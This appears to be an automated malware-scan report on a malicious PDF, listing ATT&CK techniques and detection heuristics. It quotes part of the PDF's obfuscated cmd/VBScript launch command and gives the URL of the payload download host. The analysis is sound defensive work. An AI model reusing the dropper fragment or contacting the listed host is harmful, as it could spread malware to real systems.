T1059.001 PowerShell
T1204.002 Malicious File
The PDF file contains a launch action that executes a command-line instruction. This command attempts to create a VBScript file named 'm.vbs' and uses a heavily obfuscated string to instantiate 'Scripting.FileSystemObject' and 'WScript.Shell'. The embedded URL likely serves as the source for the malicious script payload. The high confidence is due to the clear presence of a launch action and obfuscated script execution.
Heuristics 4
-
Launch action high PDF_LAUNCHPDF contains a /Launch action with an unresolved or extension-less target — treat as potentially dangerous
-
Embedded script payload in PDF stream high PDF_EMBEDDED_SCRIPT_PAYLOADPDF stream bytes contain script execution markers such as ActiveXObject/CreateObject, WScript.Shell, PowerShell, or shell-exec primitives. This is stronger than ordinary PDF JavaScript because it indicates a staged external script payload hidden in stream bytes.
-
/Launch action target: cmd high PDF_LAUNCH_COMMANDPDF /Launch action specifies an executable target with parameters '/c echo B="m.vbs":With CreateObject(StrReverse("PTTHLMX.2LMXSM"'.
-
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://17.cakew.in/x/img.php?d=1
